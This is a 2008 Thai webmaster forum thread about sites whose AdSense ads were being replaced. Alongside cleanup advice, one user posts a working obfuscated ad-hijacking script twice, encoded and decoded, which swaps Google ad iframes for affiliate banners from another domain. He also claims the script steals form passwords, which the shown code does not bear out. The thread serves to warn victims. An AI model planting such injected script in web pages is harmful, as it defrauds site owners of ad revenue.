Adsense โดน Replace ครับ.? ผมโดนแบบนี้แล้วเครียดเลย.

inDexTop10 · 25 สิงหาคม 2008, 13:33:23

format

ลง windowns ใหม่เลย

SaintTakumi · 25 สิงหาคม 2008, 14:03:24

คิดว่าน่าจะโดนสแปม ไปฝังใน รีจิสทรี วิธีแก้ไขเบื้องต้นที่ผมจัดการกับเครื่องที่บริษัทก็คือ

1.ปิด system restore เพราะไวรัสและสแปมบางตัว ไม่ปิด พอฆ่าแล้วบูทเครื่องมาใหม่มันกลับมาอีก
2.บูทเครื่อง เข้า safe mode
3. รันโปรแกรม combo fix เพื่อทำการ clean ไวรัสและสแปมที่ไปเกาะใน system
4. พอเสร็จแล้ว ก็ restart เครื่องว่ามันหายไปหรือยัง
5. เช็ค process ด้วยโปรแกรม autoruns ว่าขณะนี้เครื่องทำการรันสิ่งแปลกปลอมอยู่ไหม ถ้าเจอ ก็ kill process แล้วก็ตามไปลบที่ไดรฟ์อีกที (จดชื่อมันไว้ก่อน kill นะครับ เดี๋ยวจะจำไม่ได้)

ขอให้โชคดีครับผม

ลิงค์ download ไฟล์ครับ ผมอัพให้แล้ว :

โค้ด เลือก

http://www.uploadtoday.com/download/?18200&A=446579

EThaiZone · 25 สิงหาคม 2008, 14:10:59

อยากอาสาไปนั่งแก้ให้หน้าเครื่องจัง
คาดว่าแก้เสร็จก็รู้วิธีทำ จะได้มาทำมั่ง (ฮา)

พูดไปงั้นๆ แหละ อะไรดำๆ ผมทำไม่เป็นสักอย่าง

ariyaporn · 25 สิงหาคม 2008, 15:28:43

:-*โดนเหมือนกันค่ะ มันแกนหาไม่เจออีกตะหากว่าเป็นไวรัสหรือโทจัน เครียดอย่างแรง

:-Xhelp help

บอท! · 25 สิงหาคม 2008, 15:32:35

อ้างถึงจาก: ariyaporn ใน 25 สิงหาคม 2008, 15:28:43
:-*โดนเหมือนกันค่ะ มันแกนหาไม่เจออีกตะหากว่าเป็นไวรัสหรือโทจัน เครียดอย่างแรง :-Xhelp help

อยู่ไหนจ๊ะ pm มานะเดี่ยวไปช่วยกันแก้

kanokk · 25 สิงหาคม 2008, 15:38:01

สำรองข้อมูลก่อน สำคัญสุด
แล้วฟอแมตเครื่อง ลงวินโดว์ + โปรแกรมใหม่
โกสต์เก็บไว้
เปลี่ยนพาสทุกอันที่สำคัญๆ แล้วแบคอัพไว้อีกที
งานสุดท้าย คือ ซ่ิอมเว็บ ตามลบโคดนั้นออก หรือไม่ก้เมลล์ให้ซัพพอร์ต ทำให้ (HostGator ลบไวรัสให้ด้วย ครั้งก่อนโดนมาแล้ว)

อย่าเข้าเว็บอันตราย เว็บบิท เว็บ Po้ Warez ต่างๆ
ถ้าจะเข้า ไปเข้าเครื่องอื่น ปล. กันไว้ก่อนเฉยๆ

ariyaporn · 26 สิงหาคม 2008, 01:26:38

:-*มันไม่หายสักที

oooki · 26 สิงหาคม 2008, 10:36:00

เคยโดนเมื่อเดือนก่อนครับ ใช้ HiJackThis สแกนดู พอเจอไฟล์ที่น่าสงสัยก็จดชื่อไว้

เข้า safe mode จัดการลบไฟล์นั้นซะ จบ

ปัญหาคือชื่อไฟล์มันไม่น่าจะเหมือนกัน ถ้ายังไม่หายลง scan แล้วส่ง log file มาก็ได้ครับ

ใช้ Ad Aware ก็ไม่หายนะครับ

ITAXIz · 26 สิงหาคม 2008, 10:48:15

format เครื่องเลยครับ

ถ้าลบไม่หาย

ดีด้วย เครื่องจะได้เร็วปื้ดๆ

aStore · 26 สิงหาคม 2008, 11:05:33

เปลี่ยนโปรแกรมป้องกันไวรัสใหม่ซะ โดยเฉพาะถ้าใครใช้ NOD32 ก็ไม่ใช่เรื่องแปลกอะไรเลย

ลองมองดูโปรแกรมป้องกันตัวอื่นบ้างสิ แล้วจะรู้ว่าในเครื่องคุณนั้นมันเป็นรังของไวรัสดี ๆ นี่เอง

Doramonteam · 27 สิงหาคม 2008, 15:36:23

สคริปนี้ แรงเกินคาดจริงๆ ครับ..
หากเครื่องใครโดนแล้วบอกคำเดียวว่าน่าหวาดเสียว
มันทำหน้าที่ หลายอย่าง เช่น

1. เก็บข้อมูลต่างๆในเครื่องเราแล้ว แพ็คเป็น เท็กไฟล์ เสร็จแล้วมันจะส่งตรงไปยังเมลล์ของแฮคเกอร์

2. Replace Adsense ทันทีที่มันตรวจเจอว่าหน้าใหนบ้างที่ติด Adsense โดยใช้วิธี Screen หาตำแหน่งของ
Adsense เมื่อเจอพิกัดแล้ว จะ ขียน DIV ไปทับ Ifram ของ Adsense อีกที โดยตั้ง Z-index เป็น 9999

3. จับค่าในฟร์อม ไม่ว่าอะไรก็แล้วแต่ เช่น พาสเวอร์หรืออะไรก็แล้วแต่ที่เขียนลงในฟอร์ม แพ็คเป็นเท็กไฟล์ แล้วส่งตรงยังเมลล์ของแฮคเกอร์

ถ้าเครื่องใครโดน หรือ Host Server ตัวใหนโดนแล้ว Adsense ของท่านมีสิทธิ์โดน Replace ทั้งหมดเลย.
รายได้ที่เคยสูงๆ อยู่แล้ว ก็จะลดลงเรื่อยๆ หรือในที่สุดก็ไม่มีรายได้เลย

หากอยากทดสอบว่ามัน ทำงานยังไงลองก๊อปโค๊ดนี้วางบนโน๊ดแพ็ทแล้วเอาAdsenseของท่านวางต่อท้าย แล้วSaveไฟล์เป็น Html

hengheng · 27 สิงหาคม 2008, 15:37:39

ok ครับ

Doramonteam · 27 สิงหาคม 2008, 15:40:24

โค้ด เลือก

<script>eval(unescape('%0D%0A%09%0D%0A%09document.write%28%27%3Cdiv%20id%3D%22asbakvg721%22%20style%3D%22height%3A3000px%3Bwidth%3A2000px%3Bleft%3A0px%3Btop%3A0px%3Bposition%3Aabsolute%3Bz-index%3A99999%3B%22%3E%3C%2Fdiv%3E%27%29%3B%0D%0A%09window.scroll%280%2C0%29%3B%0D%0A%09%0D%0A%09function%20init_b216dvsa6v%28%29%20%7B%0D%0A%09%09if%20%28arguments.callee.done%29%20return%3B%0D%0A%09%09arguments.callee.done%20%3D%20true%3B%0D%0A%0D%0A%09%09%0D%0Avar%20isadsensepage%20%3D%200%3B%0D%0Aresultsblock%20%3D%20document.body.getElementsByTagName%28%27iframe%27%29%3B%0D%0Afor%28var%20i%3D0%3B%20i%3Cresultsblock.length%3Bi%2B%2B%29%0D%0A%7B%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20728%29%20%26%26%20%28google_ad_height%20%3D%3D%2090%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner1.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20300%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner2.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%2060%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner3.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20250%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner4.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20200%29%20%26%26%20%28google_ad_height%20%3D%3D%20200%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner5.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20180%29%20%26%26%20%28google_ad_height%20%3D%3D%20150%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner6.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner7.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20120%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner8.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner9.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%20180%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner10.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20336%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner11.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0A%09%09%0D%0A%09%09var%20hidderblock%20%3D%20document.getElementById%28%27asbakvg721%27%29%3B%0D%0A%09%09hidderblock.style.visibility%20%3D%20%27hidden%27%3B%0D%0A%09%09hidderblock.style.display%20%3D%20%27none%27%3B%0D%0A%09%09%0D%0A%09%7D%3B%0D%0A%09%28function%28i%29%20%7Bvar%20u%20%3Dnavigator.userAgent%3Bvar%20e%3D%2F%2A%40cc_on%21%40%2A%2Ffalse%3B%20var%20st%20%3D%0D%0AsetTimeout%3Bif%28%2Fwebkit%2Fi.test%28u%29%29%7Bst%28function%28%29%7Bvar%20dr%3Ddocument.readyState%3B%0D%0Aif%28dr%3D%3D%22loaded%22%7C%7Cdr%3D%3D%22complete%22%29%7Bi%28%29%7Delse%7Bst%28arguments.callee%2C10%29%3B%7D%7D%2C10%29%3B%7D%0D%0Aelse%20if%28%28%2Fmozilla%2Fi.test%28u%29%26%26%21%2F%28compati%29%2F.test%28u%29%29%20%7C%7C%20%28%2Fopera%2Fi.test%28u%29%29%29%7B%0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2Ci%2Cfalse%29%3B%20%7D%20else%20if%28e%29%7B%20%20%20%20%20%28%0D%0Afunction%28%29%7Bvar%20t%3Ddocument.createElement%28%27doc%3Ardy%27%29%3Btry%7Bt.doScroll%28%27left%27%29%3B%0D%0Ai%28%29%3Bt%3Dnull%3B%7Dcatch%28e%29%7Bst%28arguments.callee%2C0%29%3B%7D%7D%29%28%29%3B%7Delse%7Bwindow.onload%3Di%3B%7D%7D%29%28init_b216dvsa6v%29%3B'))</script>
</script><br/>

dbzthai · 27 สิงหาคม 2008, 15:50:30

อ้างถึงจาก: Doramonteam ใน 27 สิงหาคม 2008, 15:40:24
โค้ด เลือก ขยาย
<script>eval(unescape('%0D%0A%09%0D%0A%09document.write%28%27%3Cdiv%20id%3D%22asbakvg721%22%20style%3D%22height%3A3000px%3Bwidth%3A2000px%3Bleft%3A0px%3Btop%3A0px%3Bposition%3Aabsolute%3Bz-index%3A99999%3B%22%3E%3C%2Fdiv%3E%27%29%3B%0D%0A%09window.scroll%280%2C0%29%3B%0D%0A%09%0D%0A%09function%20init_b216dvsa6v%28%29%20%7B%0D%0A%09%09if%20%28arguments.callee.done%29%20return%3B%0D%0A%09%09arguments.callee.done%20%3D%20true%3B%0D%0A%0D%0A%09%09%0D%0Avar%20isadsensepage%20%3D%200%3B%0D%0Aresultsblock%20%3D%20document.body.getElementsByTagName%28%27iframe%27%29%3B%0D%0Afor%28var%20i%3D0%3B%20i%3Cresultsblock.length%3Bi%2B%2B%29%0D%0A%7B%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20728%29%20%26%26%20%28google_ad_height%20%3D%3D%2090%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner1.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20300%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner2.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%2060%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner3.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20250%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner4.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20200%29%20%26%26%20%28google_ad_height%20%3D%3D%20200%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner5.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20180%29%20%26%26%20%28google_ad_height%20%3D%3D%20150%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner6.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner7.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20120%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner8.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner9.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%20180%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner10.php%3Faffid%3D56%26country%3Dth%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20336%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner11.php%3Faffid%3D56%27%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0A%09%09%0D%0A%09%09var%20hidderblock%20%3D%20document.getElementById%28%27asbakvg721%27%29%3B%0D%0A%09%09hidderblock.style.visibility%20%3D%20%27hidden%27%3B%0D%0A%09%09hidderblock.style.display%20%3D%20%27none%27%3B%0D%0A%09%09%0D%0A%09%7D%3B%0D%0A%09%28function%28i%29%20%7Bvar%20u%20%3Dnavigator.userAgent%3Bvar%20e%3D%2F%2A%40cc_on%21%40%2A%2Ffalse%3B%20var%20st%20%3D%0D%0AsetTimeout%3Bif%28%2Fwebkit%2Fi.test%28u%29%29%7Bst%28function%28%29%7Bvar%20dr%3Ddocument.readyState%3B%0D%0Aif%28dr%3D%3D%22loaded%22%7C%7Cdr%3D%3D%22complete%22%29%7Bi%28%29%7Delse%7Bst%28arguments.callee%2C10%29%3B%7D%7D%2C10%29%3B%7D%0D%0Aelse%20if%28%28%2Fmozilla%2Fi.test%28u%29%26%26%21%2F%28compati%29%2F.test%28u%29%29%20%7C%7C%20%28%2Fopera%2Fi.test%28u%29%29%29%7B%0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2Ci%2Cfalse%29%3B%20%7D%20else%20if%28e%29%7B%20%20%20%20%20%28%0D%0Afunction%28%29%7Bvar%20t%3Ddocument.createElement%28%27doc%3Ardy%27%29%3Btry%7Bt.doScroll%28%27left%27%29%3B%0D%0Ai%28%29%3Bt%3Dnull%3B%7Dcatch%28e%29%7Bst%28arguments.callee%2C0%29%3B%7D%7D%29%28%29%3B%7Delse%7Bwindow.onload%3Di%3B%7D%7D%29%28init_b216dvsa6v%29%3B'))</script> </script><br/>

ถามหน่อยครับ คุณใช้ Wordpress ทำเว็บหรือเปล่า, แล้วไปโหลด Template ต่างๆ มาใส่ใช่หรือเปล่า,

ถ้าใช่ เป็นเพราะคนที่ทำ template แจก ได้เขียน script นี้ไว้ในไฟล์ footer.php ครับ เหมือนเป็น โทรจันตัวหนึ่ง ผมเลยโดน ไม่ใช้ template นั้นๆ อีกเลย ใครใช้ template ของ Wordpress ที่โหลดๆ มาติดตั้ง ตรวจสอบสคริปต์ด้วยครับ ส่วนใหญ่จะอยู่ใน footer.php

ก่อนใช้เช็คดีๆ ครับ ผมเคยโดนเหมือนกัน จู่ๆ pub-id เป็นของคนอื่นเฉยเลย

มิน่ายอดตก

Doramonteam · 27 สิงหาคม 2008, 16:05:18

ไม่เลยครับ...
ผมออกแบบเอง..
เครื่องมือที่ผมใช้คือ FrontPages ...
สริปที่ผมถนัด คือ ASP.

เป็นไปได้หรือไม่ Server ที่เราเช่า มันเป็นแบบลูกผสม(Win-Serv + PHP + CGI + PL)
นี่ไม่ใช่เรื่องเล่นๆเลยนะครับ.

แต่ที่ผ่านมาผมว่าไม่มีใครศึกษามันพอโดนก็ลบแล้วลงใหม่.

นี่เป็นการแฮกเว็บเพ็จที่ร้ายกาจมากๆ
และเป็น ปะ หวัด สาด ครั้งร้ายแรงที่สุดที่ Adsense โดน Hack

นี่คือโค๊ดเต็มๆ

โค้ด เลือก

<script>eval(unescape('
	
	document.write('<div id="asbakvg721" style="height:3000px;width:2000px;left:0px;top:0px;position:absolute;z-index:99999;"></div>');
	window.scroll(0,0);
	
	function init_b216dvsa6v() {
		if (arguments.callee.done) return;
		arguments.callee.done = true;

		
var isadsensepage = 0;
resultsblock = document.body.getElementsByTagName('iframe');
for(var i=0; i<resultsblock.length;i++)
{
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 728) && (google_ad_height == 90))
		resultsblock[i].src = 'http://www.beeresult.com/banner1.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 300) && (google_ad_height == 250))
		resultsblock[i].src = 'http://www.beeresult.com/banner2.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 468) && (google_ad_height == 60))
		resultsblock[i].src = 'http://www.beeresult.com/banner3.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 250) && (google_ad_height == 250))
		resultsblock[i].src = 'http://www.beeresult.com/banner4.php?affid=61';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 200) && (google_ad_height == 200))
		resultsblock[i].src = 'http://www.beeresult.com/banner5.php?affid=61';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 180) && (google_ad_height == 150))
		resultsblock[i].src = 'http://www.beeresult.com/banner6.php?affid=61';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 160) && (google_ad_height == 600))
		resultsblock[i].src = 'http://www.beeresult.com/banner7.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 120) && (google_ad_height == 600))
		resultsblock[i].src = 'http://www.beeresult.com/banner8.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 160) && (google_ad_height == 160))
		resultsblock[i].src = 'http://www.beeresult.com/banner9.php?affid=61';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 468) && (google_ad_height == 180))
		resultsblock[i].src = 'http://www.beeresult.com/banner10.php?affid=61&country=us';
	}
	if(resultsblock[i].src.indexOf('pagead2.googlesyndication.com')!=-1)
	{
		if((google_ad_width == 336) && (google_ad_height == 160))
		resultsblock[i].src = 'http://www.beeresult.com/banner11.php?affid=61';
	}
}

		
		var hidderblock = document.getElementById('asbakvg721');
		hidderblock.style.visibility = 'hidden';
		hidderblock.style.display = 'none';
		
	};
	(function(i) {var u =navigator.userAgent;var e=/*@cc_on!@*/false; var st =
setTimeout;if(/webkit/i.test(u)){st(function(){var dr=document.readyState;
if(dr=="loaded"||dr=="complete"){i()}else{st(arguments.callee,10);}},10);}
else if((/mozilla/i.test(u)&&!/(compati)/.test(u)) || (/opera/i.test(u))){
document.addEventListener("DOMContentLoaded",i,false); } else if(e){     (
function(){var t=document.createElement('doc:rdy');try{t.doScroll('left');
i();t=null;}catch(e){st(arguments.callee,0);}})();}else{window.onload=i;}})(init_b216dvsa6v);'))</script>

ITAXIz · 27 สิงหาคม 2008, 16:11:28

วิเคราะหืได้หมดจด จิงแหะ

เก็บไว้เป็นกรณีศึกษา

:

Doramonteam · 27 สิงหาคม 2008, 16:27:51

ผมยังสงสัยอยู่เลยว่า...
ทำไมกระทู้นี้

โค้ด เลือก

http://www.thaiseoboard.com/index.php/topic,33817.msg443830/topicseen.html

ยังค้างอยู่ ทั้งๆที่

ลบ คุกกี้ แล้ว
ลบไฟล์ แล้ว
เครียล์ ฮิสสตอรี่แล้ว

มันมีอะไรฝังอยู่ในกระทู้นี้หรือไม่ มีใครตั้งใจทำให้มันเป็นแบบนั้นหรือไม่?

ถ้าใช่ ผม บอกคำเดียว ว่า เครดิตที่เคยสวยงาม
จะถูกลดทอน อย่างน่าใจหาย...

Doramonteam · 28 สิงหาคม 2008, 11:25:33

โค้ด เลือก

http://www.goobonk.com/Ase.html
ภาพที่ 4 อัพเดทแล้วนะครับ..
งานนี้ยิ่งกว่า ซีรี่ส์ เกาหลีเรื่องยาวครับ มีอีกหลายตอนให้ติดตาม
ยังมันยังไม่จบแค่นี้..

เมื่อ ต้นAdsenseที่เคยปลูกฝังมาหลายปีถูก วัชพืช ชนิดเดียวกันเบียดเบียน...
ผมไม่มีอะไรจะเสียมากว่านี้แล้ว...

ตอนต่อไปเมื่อ โปรเจ็กต์ต่างๆ ในรูท บนฮาร์ดดิสท์ โดนสูบแทบหมดเลย...

D-N-A · 28 สิงหาคม 2008, 11:55:55

อย่าลืม cmod/เช็ค พวก index กะ .httaccess นะครับ ครั้งก่อนผมโดนที่สองไฟล์นี้ โดนพี่ goo เล็งว่าเป็นเวปอันตรายอีก หลาย วัน